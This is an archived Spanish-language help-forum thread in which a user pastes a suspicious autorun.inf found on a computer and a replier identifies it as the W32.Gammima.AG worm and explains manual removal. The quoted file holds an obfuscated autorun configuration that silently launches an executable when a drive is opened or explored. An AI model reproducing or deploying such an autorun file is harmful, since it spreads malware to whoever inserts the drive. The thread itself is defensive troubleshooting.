Ver la Versión Completa : dudas con este autorun


Irbarmar
28/03/08, 10:53:48
Hola a todos los integrantes del foro, tengo una dudaa con un autorun que me encontre en una compu, este es el comando q posee

;dljs3ooakXwULis2Lak4D3DnAkq4iA19d4s7Ki4KKH1rDr4Sa k2kwsk3oaacsJ03A3iJle77j8LLkddl0f415q339Ai0alrSq4w dKqplsk03rj
[AutoRun]
;kf4q5kLLjaAZS32013qj6r2ad3w9wiDifkoL
open=gjn2pjlw.exe
;ik1j2a3UjAX27wqF3j23A0w4KZd3iqeIslsc5lkrp4JsL5dks ww5kKi0sK2w3i2qd22w43wqD04qfa4Dw2as80wC9dLJaw03aik 7S
shell\open\Command=gjn2pjlw.exe
;
shell\open\Default=1
;SJ4j437sZoOi1ie29qnieDdoKA0siakpK5s4Lcd7kAiDwLj2X aDwi8Dda4waoDUKKsKFJ26Al5jAr32l2kdrS2f2sLwqCqKkfsa re4i
shell\explore\Command=gjn2pjlw.exe
;leaa0Z3ewlL2rr8d98DsjDiwiswwaJjdaD3D4rXalLfad9k0p liS3qcDL2wK7ondiSK9skjsidlakLa44kA143wlkfDUaacqwL

la verdad creo que es un virus pero ni el nod32 y los antivirus online no me lo estan detectando, quisiera que me despejen la duda y en caso tal que puedo hacer

Jorge Nica
28/03/08, 12:26:53
Hola Irbarmar ese es el autorun de un virus, que el symantec me lo detecta como W32.Gammima.Ag.

Me extraña que el Nod teniéndolo actualizado no te haya eliminado ese autorun.

Borra manualmente los autorun, si no aparecen es probable que no haya infección.

Te recomiendo descargar el Cleaner http://www.infospyware.com/Herramientas.htm y usarlo para limpiar los temporales en tu máquina, de paso en herramientas en el panel izquierdo selecciona inicio y checa si se encuentra alguna de estas entradas: amvo, amva o avpo.

Si aparecen podés eliminar la entrada, cerrás y volves a entrar para ver si aparece nuevamente, si no están es probable que no haya infección.

otra herramientas buena es el Tuneup utilities, si lo conseguis mejor y usas el Start up manager.

Bueno de cualquier modo hace lo que te dije y nos contas

© Copyright 2005 - 2008 InfoSpyware ® Todos los derechos reservados.
InfoSpyware Security Blog